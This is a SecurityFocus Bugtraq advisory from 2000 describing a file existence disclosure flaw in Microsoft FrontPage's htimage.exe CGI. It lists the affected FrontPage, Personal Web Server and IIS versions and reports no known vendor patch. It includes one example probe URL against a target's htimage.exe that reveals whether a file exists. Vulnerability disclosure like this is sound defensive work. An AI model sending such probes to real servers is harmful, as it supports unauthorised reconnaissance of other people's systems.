MS Frontpage htimage.exe File Existence Disclosure Vulnerability

Bugtraq ID:	1141
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	Yes
Published:	Apr 19 2000 12:00AM
Updated:	Apr 19 2000 12:00AM
Credit:	Posted to Bugtraq on April 19, 2000 by Narrow <[email protected]>.
Vulnerable:	Microsoft Personal Web Server 2.0 + Microsoft FrontPage 97 + Microsoft FrontPage 97 + Microsoft FrontPage 98 + Microsoft FrontPage 98 Microsoft FrontPage Personal WebServer 1.0 + Microsoft FrontPage 1.1 + Microsoft FrontPage 1.1 + Microsoft FrontPage 97 + Microsoft FrontPage 97 + Microsoft FrontPage 98 + Microsoft FrontPage 98 Microsoft FrontPage 98 Server Extensions for PWS Microsoft FrontPage 98 Server Extensions for IIS + Microsoft FrontPage 98 - Microsoft IIS 4.0 + Microsoft NT Option Pack for NT 4.0 0
Not Vulnerable:

MS Frontpage htimage.exe File Existence Disclosure Vulnerability

http: //target/cgi-bin/htimage.exe/path/filename?0,0

MS Frontpage htimage.exe File Existence Disclosure Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

MS Frontpage htimage.exe File Existence Disclosure Vulnerability

References: